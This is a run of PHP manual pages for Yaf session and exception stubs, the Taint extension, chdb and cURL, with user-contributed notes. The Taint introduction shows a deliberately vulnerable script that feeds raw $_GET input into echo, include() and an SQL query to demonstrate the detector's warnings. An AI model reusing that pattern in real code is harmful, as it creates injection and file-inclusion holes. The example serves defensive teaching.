Parameters

name

value

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The offsetUnset purpose

  • « Yaf_Session::offsetSet
  • Yaf_Session::rewind »
  • PHP Manual
  • Yaf_Session
  • The offsetUnset purpose

Yaf_Session::offsetUnset

(Yaf >=1.0.0)

Yaf_Session::offsetUnset — The offsetUnset purpose

Description

public void Yaf_Session::offsetUnset ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The rewind purpose

  • « Yaf_Session::offsetUnset
  • Yaf_Session::__set »
  • PHP Manual
  • Yaf_Session
  • The rewind purpose

Yaf_Session::rewind

(Yaf >=1.0.0)

Yaf_Session::rewind — The rewind purpose

Description

public void Yaf_Session::rewind ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The __set purpose

  • « Yaf_Session::rewind
  • Yaf_Session::__sleep »
  • PHP Manual
  • Yaf_Session
  • The __set purpose

Yaf_Session::__set

(Yaf >=1.0.0)

Yaf_Session::__set — The __set purpose

Description

public void Yaf_Session::__set ( string $name , string $value )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

value

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The __sleep purpose

  • « Yaf_Session::__set
  • Yaf_Session::start »
  • PHP Manual
  • Yaf_Session
  • The __sleep purpose

Yaf_Session::__sleep

(Yaf >=1.0.0)

Yaf_Session::__sleep — The __sleep purpose

Description

private void Yaf_Session::__sleep ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The start purpose

  • « Yaf_Session::__sleep
  • Yaf_Session::__unset »
  • PHP Manual
  • Yaf_Session
  • The start purpose

Yaf_Session::start

(Yaf >=1.0.0)

Yaf_Session::start — The start purpose

Description

public void Yaf_Session::start ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The __unset purpose

  • « Yaf_Session::start
  • Yaf_Session::valid »
  • PHP Manual
  • Yaf_Session
  • The __unset purpose

Yaf_Session::__unset

(Yaf >=1.0.0)

Yaf_Session::__unset — The __unset purpose

Description

public void Yaf_Session::__unset ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The valid purpose

  • « Yaf_Session::__unset
  • Yaf_Session::__wakeup »
  • PHP Manual
  • Yaf_Session
  • The valid purpose

Yaf_Session::valid

(Yaf >=1.0.0)

Yaf_Session::valid — The valid purpose

Description

public void Yaf_Session::valid ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The __wakeup purpose

  • « Yaf_Session::valid
  • Yaf_Exception »
  • PHP Manual
  • Yaf_Session
  • The __wakeup purpose

Yaf_Session::__wakeup

(Yaf >=1.0.0)

Yaf_Session::__wakeup — The __wakeup purpose

Description

private void Yaf_Session::__wakeup ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Exception class

(Yaf >=1.0.0)

Introduction

Class synopsis

Yaf_Exception extends Exception {
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Methods */
public __construct ( void )
public void getPrevious ( void )
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

Table of Contents

  • Yaf_Exception::__construct — The __construct purpose
  • Yaf_Exception::getPrevious — The getPrevious purpose

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • « Yaf_Exception
  • Yaf_Exception::getPrevious »
  • PHP Manual
  • Yaf_Exception
  • The __construct purpose

Yaf_Exception::__construct

(Yaf >=1.0.0)

Yaf_Exception::__construct — The __construct purpose

Description

public Yaf_Exception::__construct ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The getPrevious purpose

  • « Yaf_Exception::__construct
  • Yaf_Exception_TypeError »
  • PHP Manual
  • Yaf_Exception
  • The getPrevious purpose

Yaf_Exception::getPrevious

(Yaf >=1.0.0)

Yaf_Exception::getPrevious — The getPrevious purpose

Description

public void Yaf_Exception::getPrevious ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Exception_TypeError class

(Yaf >=1.0.0)

Introduction

Class synopsis

Yaf_Exception_TypeError extends Yaf_Exception {
/* Properties */
/* Methods */
/* Inherited methods */
public Yaf_Exception::__construct ( void )
public void Yaf_Exception::getPrevious ( void )
}

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Exception_StartupError class

(Yaf >=1.0.0)

Introduction

Class synopsis

Yaf_Exception_StartupError extends Yaf_Exception {
/* Properties */
/* Methods */
/* Inherited methods */
public Yaf_Exception::__construct ( void )
public void Yaf_Exception::getPrevious ( void )
}

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Exception_DispatchFailed class

(Yaf >=1.0.0)

Introduction

Class synopsis

Yaf_Exception_DispatchFailed extends Yaf_Exception {
/* Properties */
/* Methods */
/* Inherited methods */
public Yaf_Exception::__construct ( void )
public void Yaf_Exception::getPrevious ( void )
}

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Exception_RouterFailed class

(Yaf >=1.0.0)

Introduction

Class synopsis

Yaf_Exception_RouterFailed extends Yaf_Exception {
/* Properties */
/* Methods */
/* Inherited methods */
public Yaf_Exception::__construct ( void )
public void Yaf_Exception::getPrevious ( void )
}

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Exception_LoadFailed class

(Yaf >=1.0.0)

Introduction

Class synopsis

Yaf_Exception_LoadFailed extends Yaf_Exception {
/* Properties */
/* Methods */
/* Inherited methods */
public Yaf_Exception::__construct ( void )
public void Yaf_Exception::getPrevious ( void )
}

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Exception_LoadFailed_Module class

(Yaf >=1.0.0)

Introduction

Class synopsis

Yaf_Exception_LoadFailed_Module extends Yaf_Exception_LoadFailed {
/* Properties */
/* Methods */
/* Inherited methods */
public Yaf_Exception::__construct ( void )
public void Yaf_Exception::getPrevious ( void )
}

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Exception_LoadFailed_Controller class

(Yaf >=1.0.0)

Introduction

Class synopsis

Yaf_Exception_LoadFailed_Controller extends Yaf_Exception_LoadFailed {
/* Properties */
/* Methods */
/* Inherited methods */
public Yaf_Exception::__construct ( void )
public void Yaf_Exception::getPrevious ( void )
}

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Exception_LoadFailed_Action class

(Yaf >=1.0.0)

Introduction

Class synopsis

Yaf_Exception_LoadFailed_Action extends Yaf_Exception_LoadFailed {
/* Properties */
/* Methods */
/* Inherited methods */
public Yaf_Exception::__construct ( void )
public void Yaf_Exception::getPrevious ( void )
}

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Exception_LoadFailed_View class

(Yaf >=1.0.0)

Introduction

Class synopsis

Yaf_Exception_LoadFailed_View extends Yaf_Exception_LoadFailed {
/* Properties */
/* Methods */
/* Inherited methods */
public Yaf_Exception::__construct ( void )
public void Yaf_Exception::getPrevious ( void )
}

User Contributed Notes

There are no user contributed notes for this page.


Taint

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • More Details
    • Functions and Statements which will spread the tainted mark of a tainted string
    • Functions and statements which will check tainted string
    • Functions which untaint the tainted string
  • Taint Functions
    • is_tainted — Checks whether a string is tainted
    • taint — Taint a string
    • untaint — Untaint strings

User Contributed Notes

There are no user contributed notes for this page.


Introduction

Taint is an extension, which is used for detecting XSS codes(tainted string). And also can be used to spot sql injection vulnerabilities, and shell inject, etc.

When taint is enabled, if you pass a tainted string (comes from $_GET, $_POST or $_COOKIE) to some functions, taint will warn you about that.

Example #1 Taint()example

<?php
$a = trim($_GET['a']);

$file_name = '/tmp' .  $a;
$output    = "Welcome, {$a} !!!";
$var       = "output";
$sql       = "Select *  from " . $a;
$sql      .= "ooxx";

echo $output;

print $$var;

include($file_name);

mysql_query($sql);
?>

The above example will output something similar to:

Warning: main() [function.echo]: Attempt to echo a string that might be tainted

Warning: main() [function.echo]: Attempt to print a string that might be tainted

Warning: include() [function.include]: File path contains data that might be tainted

Warning: mysql_query() [function.mysql-query]: SQL statement contains data that might be tainted

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/taint.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Taint Configure Options
Name | Default | Changeable | Changelog
taint.enable | 0 | its PHP_INI_SYS value |
taint.error_level | E_WARNING | its PHP_INI_ALL value |

Here's a short explanation of the configuration directives.

taint.enable integer

Whether enable the taint.

taint.error_level integer

the error type which taint will report as when taint find a tainted string.

User Contributed Notes

There are no user contributed notes for this page.


More Details

Table of Contents

  • Functions and Statements which will spread the tainted mark of a tainted string
  • Functions and statements which will check tainted string
  • Functions which untaint the tainted string

User Contributed Notes

There are no user contributed notes for this page.


Functions and Statements which will spread the tainted mark of a tainted string

Function/Statement | Since
= (assign) | 0.1.0
. (concat) | 0.1.0
"{$var}" (variable substitution) | 0.1.0
.= (assign concat) | 0.1.0
strval | 0.3.0
explode | 0.3.0
implode | 0.3.0
sprintf | 0.3.0
vsprintf | 0.3.0
trim | 0.4.0
rtrim | 0.4.0
ltrim | 0.4.0

User Contributed Notes

There are no user contributed notes for this page.


Functions and statements which will check tainted string

Function/Statement | Since
Basic statments
eval | 0.1.0
include/include_once | 0.1.0
require/require_once | 0.1.0
Outputing Functions
echo | 0.1.0
print | 0.1.0
printf | 0.1.0
file_put_contents | 0.1.0
File System Functions
fopen | 0.2.0
opendir | 0.2.0
basename | 0.2.0
dirname | 0.2.0
file | 0.2.0
pathinfo | 0.2.0
Database relevant Functions
mysql_query | 0.2.0
mysqli_query/MySQLi::query | 0.2.0
sqlite_query/SqliteDataBase::query | 0.3.0
sqlite_single_query/SqliteDataBase::singleQuery | 0.3.0
oci_parse | 0.3.0
PDO::query | 0.3.0
PDO::prepare | 0.3.0
Command Line relevant Functions
system | 0.1.0
exec | 0.1.0
proc_open | 0.1.0
passthru | 0.1.0
shell_exec | 0.3.0

User Contributed Notes

There are no user contributed notes for this page.


Functions which untaint the tainted string

Function | Since
addslashes | 0.1.0
addcslashes | 0.1.0
htmlspecialchars | 0.1.0
htmlentities | 0.1.0
escapeshellcmd | 0.1.0
mysql_escape_string | 0.1.0
mysql_real_escape_string | 0.1.0
mysqli_escape_string/MySQLi::escape_string | 0.1.0
mysqli_real_escape_string/MySQLi::real_escape_string | 0.1.0
sqlite_escape_string/SqliteDataBase::escapeString | 0.3.0
PDO::quote | 0.3.0

User Contributed Notes

There are no user contributed notes for this page.


Taint Functions

Table of Contents

  • is_tainted — Checks whether a string is tainted
  • taint — Taint a string
  • untaint — Untaint strings

User Contributed Notes

There are no user contributed notes for this page.


Checks whether a string is tainted

  • « Taint Functions
  • taint »
  • PHP Manual
  • Taint Functions
  • Checks whether a string is tainted

is_tainted

(PECL taint >=0.1.0)

is_tainted — Checks whether a string is tainted

Description

bool is_tainted ( string $string )

Checks whether a string is tainted

Parameters

string

Return Values

Return TRUE if the string is tainted, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Taint a string

  • « is_tainted
  • untaint »
  • PHP Manual
  • Taint Functions
  • Taint a string

taint

(PECL taint >=0.1.0)

taint — Taint a string

Description

bool taint ( string &$string [, string $... ] )

Make a string tainted. This is used for testing purpose only.

Parameters

string

...

Return Values

Return TRUE if the transformation is done. Always return TRUE if the taint extension is not enabled.

User Contributed Notes

There are no user contributed notes for this page.


Untaint strings

  • « taint
  • Other Services »
  • PHP Manual
  • Taint Functions
  • Untaint strings

untaint

(PECL taint >=0.1.0)

untaint — Untaint strings

Description

bool untaint ( string &$string [, string $... ] )

Untaint strings

Parameters

string

...

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Other Services

  • chdb — Constant hash database
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • chdb — The chdb class
    • chdb Functions
  • cURL — Client URL Library
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • cURL Functions
    • CURLFile — The CURLFile class
  • Event
    • Introduction
    • Installing/Configuring
    • Examples
    • Event flags
    • About event persistence
    • Event callbacks
    • Constructing signal events
    • Event — The Event class
    • EventBase — The EventBase class
    • EventBuffer — The EventBuffer class
    • EventBufferEvent — The EventBufferEvent class
    • About buffer event callbacks
    • EventConfig — The EventConfig class
    • EventDnsBase — The EventDnsBase class
    • EventHttp — The EventHttp class
    • EventHttpConnection — The EventHttpConnection class
    • EventHttpRequest — The EventHttpRequest class
    • EventListener — The EventListener class
    • EventSslContext — The EventSslContext class
    • EventUtil — The EventUtil class
  • FAM — File Alteration Monitor
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • FAM Functions
  • FTP
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • FTP Functions
  • Gearman
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • GearmanClient — The GearmanClient class
    • GearmanJob — The GearmanJob class
    • GearmanTask — The GearmanTask class
    • GearmanWorker — The GearmanWorker class
    • GearmanException — The GearmanException class
  • Gopher — Net Gopher
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Gopher Functions
  • Gupnp
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Gupnp Functions
  • HTTP
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Request Options — Options usable with the HttpRequest class and request functions
    • HttpDeflateStream — The HttpDeflateStream class
    • HttpInflateStream — The HttpInflateStream class
    • HttpMessage — The HttpMessage class
    • HttpQueryString — The HttpQueryString class
    • HttpRequest — The HttpRequest
    • HttpRequestPool — The HttpRequestPool class
    • HttpResponse — The HttpResponse
    • HTTP Functions
  • Hyperwave API
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Integration with Apache
    • Hyperwave API Functions
  • LDAP — Lightweight Directory Access Protocol
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Using the PHP LDAP calls
    • Examples
    • LDAP Functions
  • Memcache
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Memcache — The Memcache class
    • Memcache Functions
  • Memcached
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Expiration Times
    • Callbacks
    • Sessions support
    • Memcached — The Memcached class
    • MemcachedException — The MemcachedException class
  • mqseries
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • mqseries Functions
  • Network
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Network Functions
  • RRD — RRDtool
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • RRD Functions
    • RRDCreator — The RRDCreator class
    • RRDGraph — The RRDGraph class
    • RRDUpdater — The RRDUpdater class
  • SAM — Simple Asynchronous Messaging
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • SAM Functions
  • SNMP
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • SNMP Functions
    • SNMP — The SNMP class
    • SNMPException — The SNMPException class
  • Sockets
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Socket Errors
    • Socket Functions
  • SSH2 — Secure Shell2
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • SSH2 Functions
  • Stomp — Stomp Client
    • Introduction
    • Installing/Configuring
    • Examples
    • Stomp Functions
    • Stomp — The Stomp class
    • StompFrame — The StompFrame class
    • StompException — The StompException class
  • SVM — Support Vector Machine
    • Introduction
    • Installing/Configuring
    • Examples
    • SVM — The SVM class
    • SVMModel — The SVMModel class
  • SVN — Subversion
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • SVN Functions
  • TCP — TCP Wrappers
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • TCP Functions
  • Varnish
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • VarnishAdmin — The VarnishAdmin class
    • VarnishStat — The VarnishStat class
    • VarnishLog — The VarnishLog class
  • YAZ
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • YAZ Functions
  • YP/NIS
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • YP/NIS Functions
  • 0MQ messaging — ZMQ
    • Introduction
    • Installing/Configuring
    • ZMQ — The ZMQ class
    • ZMQContext — The ZMQContext class
    • ZMQSocket — The ZMQSocket class
    • ZMQPoll — The ZMQPoll class
    • ZMQDevice — The ZMQDevice class

User Contributed Notes

There are no user contributed notes for this page.


Constant hash database

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • chdb — The chdb class
    • chdb::__construct — Creates a chdb instance
    • chdb::get — Gets the value associated with a key
  • chdb Functions
    • chdb_create — Creates a chdb file

User Contributed Notes

There are no user contributed notes for this page.


Introduction

CHDB (constant hash database) is a fast key-value database for constant data, realized by using a memory-mapped file and thus providing the following functionalities:

  • Extremely fast initial load, regardless of the size of the database.

  • Only the pages of the file which are actually used are loaded from the disk.

  • Once a page is loaded it is shared across multiple processes.

  • Loaded pages are cached across multiple requests and even process recycling.

A typical use of CHDB is as a faster alternative to defining many PHP constants.

CHDB is internally implemented as a hash-table using a » perfect hashing function, thus guaranteeing worst case O(1) lookup time.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

This module uses » cmph (version 0.9) for providing the » perfect hashing function.

cmph 0.9 is required to install this module.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/chdb

» cmph (version 0.9) is required for installing this extension. If cmph is installed in a non-standard directory, use the --with-libcmph-dir=DIR switch, where DIR is the cmph install prefix.

User Contributed Notes

There are no user contributed notes for this page.


Examples

Example #1 Creating a chdb file

<?php

$data = array(
    'key1' => 'value1',
    'key2' => 'value2',
    // ...
);
chdb_create('data.chdb', $data);

?>

The above example will generate a chdb file named data.chdb and containing the key-value pairs defined in $data.

Example #2 Loading and looking up a chdb file

<?php

$chdb = new chdb('data.chdb');
$value1 = $chdb->get('key1');
$value2 = $chdb->get('key2');

echo $value1, PHP_EOL;
echo $value2, PHP_EOL;

?>

The above example will output something similar to:

value1
value2

User Contributed Notes

There are no user contributed notes for this page.


The chdb class

(PECL chdb >= 0.1.0)

Introduction

Represents a loaded chdb file.

Class synopsis

chdb {
/* Methods */
public __construct ( string $pathname )
public string get ( string $key )
}

Table of Contents

  • chdb::__construct — Creates a chdb instance
  • chdb::get — Gets the value associated with a key

User Contributed Notes

There are no user contributed notes for this page.


Creates a chdb instance

  • « chdb
  • chdb::get »
  • PHP Manual
  • chdb
  • Creates a chdb instance

chdb::__construct

(PECL chdb >= 0.1.0)

chdb::__construct — Creates a chdb instance

Description

public chdb::__construct ( string $pathname )

Loads a chdb file, by mapping it into memory.

Note:

While some validity checks are performed on the specified file, they are mostly there to avoid the possibility of common mistakes (for example, loading a file which is not a chdb database, or that is somehow incompatible with the current system). A maliciously crafted chdb file can thus be dangerous if loaded, so chdb files should be trusted and treated with the same security protections used for PHP shared libraries.

Parameters

pathname

The name of the file to load.

Errors/Exceptions

Throws an exception in case the chdb file hasn't been successfully loaded.

Note:

A valid chdb file might fail to load in case it was created on an architecture with a different endianness, with a different version of chdb, or if the file is too big to be mapped into memory (mostly in case of huge files and 32-bit architectures). In these cases the load will fail by throwing an exception, but otherwise not performing any illegal operation.

User Contributed Notes

There are no user contributed notes for this page.


Gets the value associated with a key

  • « chdb::__construct
  • chdb Functions »
  • PHP Manual
  • chdb
  • Gets the value associated with a key

chdb::get

(PECL chdb >= 0.1.0)

chdb::get — Gets the value associated with a key

Description

public string chdb::get ( string $key )

Gets the value associated with a key from a chdb database.

Parameters

key

The key for which to get the value.

Return Values

Returns a string containing the value associated with the given key, or NULL if not found.

Examples

Example #1 chdb::get() example

<?php

$data = array(
    'key1' => 'value1',
    'key2' => 'value2',
    // ...
);
chdb_create('data.chdb', $data);

$chdb = new chdb('data.chdb');
$value1 = $chdb->get('key1');
$value2 = $chdb->get('key2');

echo $value1, PHP_EOL;
echo $value2, PHP_EOL;

?>

The above example will output something similar to:

value1
value2

User Contributed Notes

There are no user contributed notes for this page.


chdb Functions

Table of Contents

  • chdb_create — Creates a chdb file

User Contributed Notes

There are no user contributed notes for this page.


Creates a chdb file

  • « chdb Functions
  • cURL »
  • PHP Manual
  • chdb Functions
  • Creates a chdb file

chdb_create

(PECL chdb >= 0.1.0)

chdb_create — Creates a chdb file

Description

bool chdb_create ( string $pathname , array $data )

chdb_create() creates a chdb file containing the specified key-value pairs.

Note:

chdb files are not portable across little-endian and big-endian environments. Except for that, they are portable across different architectures. Also compatibility across different versions of chdb is not guaranteed.

Parameters

pathname

The name of the file to create.

If a file with the same name already exists, it is overwritten.

data

An array containing the key-value pairs to store in the chdb file.

Keys and values are converted to strings before being written to the file, as chdb only support the string type. Note that binary strings are supported as well, both as keys and values.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws an exception in case the chdb file hasn't been successfully created.

Examples

Example #1 chdb_create() example

<?php

$data = array(
    'key1' => 'value1',
    'key2' => 'value2',
    // ...
);
chdb_create('data.chdb', $data);

?>

The above example will generate a chdb file named data.chdb and containing the key-value pairs defined in $data.

User Contributed Notes

jille at hexon dot cx 12-Sep-2012 11:39
Please keep in mind that you shouldn't write to a database that is being actively used. If another process is currently reading the database it might crash.

A safe way to update your database is:
<?php
chdb_create('tmp.db', $data);
rename('tmp.db', 'database.db');
?>


Client URL Library

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic curl example
  • cURL Functions
    • curl_close — Close a cURL session
    • curl_copy_handle — Copy a cURL handle along with all of its preferences
    • curl_errno — Return the last error number
    • curl_error — Return a string containing the last error for the current session
    • curl_escape — URL encodes the given string
    • curl_exec — Perform a cURL session
    • curl_file_create — Create a CURLFile object
    • curl_getinfo — Get information regarding a specific transfer
    • curl_init — Initialize a cURL session
    • curl_multi_add_handle — Add a normal cURL handle to a cURL multi handle
    • curl_multi_close — Close a set of cURL handles
    • curl_multi_exec — Run the sub-connections of the current cURL handle
    • curl_multi_getcontent — Return the content of a cURL handle if CURLOPT_RETURNTRANSFER is set
    • curl_multi_info_read — Get information about the current transfers
    • curl_multi_init — Returns a new cURL multi handle
    • curl_multi_remove_handle — Remove a multi handle from a set of cURL handles
    • curl_multi_select — Wait for activity on any curl_multi connection
    • curl_multi_setopt — Set an option for the cURL multi handle
    • curl_multi_strerror — Return string describing error code
    • curl_pause — Pause and unpause a connection
    • curl_reset — Reset all options of a libcurl session handle
    • curl_setopt_array — Set multiple options for a cURL transfer
    • curl_setopt — Set an option for a cURL transfer
    • curl_share_close — Close a cURL share handle
    • curl_share_init — Initialize a cURL share handle
    • curl_share_setopt — Set an option for a cURL share handle.
    • curl_strerror — Return string describing the given error code
    • curl_unescape — Decodes the given URL encoded string
    • curl_version — Gets cURL version information
  • CURLFile — The CURLFile class
    • CURLFile::__construct — Create a CURLFile object
    • CURLFile::getFilename — Get file name
    • CURLFile::getMimeType — Get MIME type
    • CURLFile::getPostFilename — Get file name for POST
    • CURLFile::setMimeType — Set MIME type
    • CURLFile::setPostFilename — Set file name for POST
    • CURLFile::__wakeup — Unserialization handler

User Contributed Notes

fred dot knieper at gmail dot com 17-Dec-2013 01:07
After a lot of frustration with the fact that nobody has documented which curl commandline options go with which library functions, I discovered that the curl commandline will tell you (in the form of a C program) if you add `--libcurl foo.c`

If you've been struggling with trying to figure out how to get your fancy curl commandline to work in PHP, this makes it a breeze!
mkucera66 at seznam dot cz 27-Aug-2013 08:02
FYI cURL support (default enabled, ok) is prerequisite for Installation and Configuration of the Collection Extension of wiki portal.
arturo at midnightvip dot com 12-Jun-2013 07:56
Hey I modified script for php 5. Also I add support server auth. and fixed some little bugs on the script.

<?php
 class mycurl {
     protected $_useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1';
     protected $_url;
     protected $_followlocation;
     protected $_timeout;
     protected $_maxRedirects;
     protected $_cookieFileLocation = './cookie.txt';
     protected $_post;
     protected $_postFields;
     protected $_referer ="http://www.midnightvip.com";

     protected $_session;
     protected $_webpage;
     protected $_includeHeader;
     protected $_noBody;
     protected $_status;
     protected $_binaryTransfer;
     public    $authentication = 0;
     public    $auth_name      = '';
     public    $auth_pass      = '';

     public function useAuth($use){
       $this->authentication = 0;
       if($use == true) $this->authentication = 1;
     }

     public function setName($name){
       $this->auth_name = $name;
     }
     public function setPass($pass){
       $this->auth_pass = $pass;
     }

     public function __construct($url,$followlocation = true,$timeOut = 30,$maxRedirecs = 4,$binaryTransfer = false,$includeHeader = false,$noBody = false)
     {
         $this->_url = $url;
         $this->_followlocation = $followlocation;
         $this->_timeout = $timeOut;
         $this->_maxRedirects = $maxRedirecs;
         $this->_noBody = $noBody;
         $this->_includeHeader = $includeHeader;
         $this->_binaryTransfer = $binaryTransfer;

         $this->_cookieFileLocation = dirname(__FILE__).'/cookie.txt';

     }

     public function setReferer($referer){
       $this->_referer = $referer;
     }

     public function setCookiFileLocation($path)
     {
         $this->_cookieFileLocation = $path;
     }

     public function setPost ($postFields)
     {
        $this->_post = true;
        $this->_postFields = $postFields;
     }

     public function setUserAgent($userAgent)
     {
         $this->_useragent = $userAgent;
     }

     public function createCurl($url = 'nul')
     {
        if($url != 'nul'){
          $this->_url = $url;
        }

         $s = curl_init();

         curl_setopt($s,CURLOPT_URL,$this->_url);
         curl_setopt($s,CURLOPT_HTTPHEADER,array('Expect:'));
         curl_setopt($s,CURLOPT_TIMEOUT,$this->_timeout);
         curl_setopt($s,CURLOPT_MAXREDIRS,$this->_maxRedirects);
         curl_setopt($s,CURLOPT_RETURNTRANSFER,true);
         curl_setopt($s,CURLOPT_FOLLOWLOCATION,$this->_followlocation);
         curl_setopt($s,CURLOPT_COOKIEJAR,$this->_cookieFileLocation);
         curl_setopt($s,CURLOPT_COOKIEFILE,$this->_cookieFileLocation);

         if($this->authentication == 1){
           curl_setopt($s, CURLOPT_USERPWD, $this->auth_name.':'.$this->auth_pass);
         }
         if($this->_post)
         {
             curl_setopt($s,CURLOPT_POST,true);
             curl_setopt($s,CURLOPT_POSTFIELDS,$this->_postFields);

         }

         if($this->_includeHeader)
         {
               curl_setopt($s,CURLOPT_HEADER,true);
         }

         if($this->_noBody)
         {
             curl_setopt($s,CURLOPT_NOBODY,true);
         }
         /*
         if($this->_binary)
         {
             curl_setopt($s,CURLOPT_BINARYTRANSFER,true);
         }
         */
         curl_setopt($s,CURLOPT_USERAGENT,$this->_useragent);
         curl_setopt($s,CURLOPT_REFERER,$this->_referer);

         $this->_webpage = curl_exec($s);
                   $this->_status = curl_getinfo($s,CURLINFO_HTTP_CODE);
         curl_close($s);

     }

   public function getHttpStatus()
   {
       return $this->_status;
   }

   public function __tostring(){
      return $this->_webpage;
   }
}
?>
madhouse-network at hotmail dot com 21-Apr-2011 10:51
curl does not seem to work with SSL TLS (FTPES)

It will throw the following error:

(1) Protocol ftpes not supported or disabled in libcurl
frank at interactinet dot com 12-Mar-2011 06:29
I wrote the following to see if a submitted URL has a valid http response code and also if it responds quickly.

Use the code like this:

<?php
$is_ok = http_response($url); // returns true only if http response code < 400
?>

The second argument is optional, and it allows you to check for  a specific response code

<?php
http_response($url,'400'); // returns true if http status is 400
?>

The third allows you to specify how long you are willing to wait for a response.

<?php
http_response($url,'200',3); // returns true if the response takes less than 3 seconds and the response code is 200
?>

<?php
function http_response($url, $status = null, $wait = 3)
{
        $time = microtime(true);
        $expire = $time + $wait;

        // we fork the process so we don't have to wait for a timeout
        $pid = pcntl_fork();
        if ($pid == -1) {
            die('could not fork');
        } else if ($pid) {
            // we are the parent
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_HEADER, TRUE);
            curl_setopt($ch, CURLOPT_NOBODY, TRUE); // remove body
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
            $head = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);

            if(!$head)
            {
                return FALSE;
            }

            if($status === null)
            {
                if($httpCode < 400)
                {
                    return TRUE;
                }
                else
                {
                    return FALSE;
                }
            }
            elseif($status == $httpCode)
            {
                return TRUE;
            }

            return FALSE;
            pcntl_wait($status); //Protect against Zombie children
        } else {
            // we are the child
            while(microtime(true) < $expire)
            {
            sleep(0.5);
            }
            return FALSE;
        }
    }
?>

Hope this example helps.  It is not 100% tested, so any feedback [sent directly to me by email] is appreciated.
shidec00 at yahoo dot com 19-Jan-2011 11:55
This anomali only happen on windows.
Server indicates that some variables built by http_build_query() is missing.

<?php
//...
//...
//...
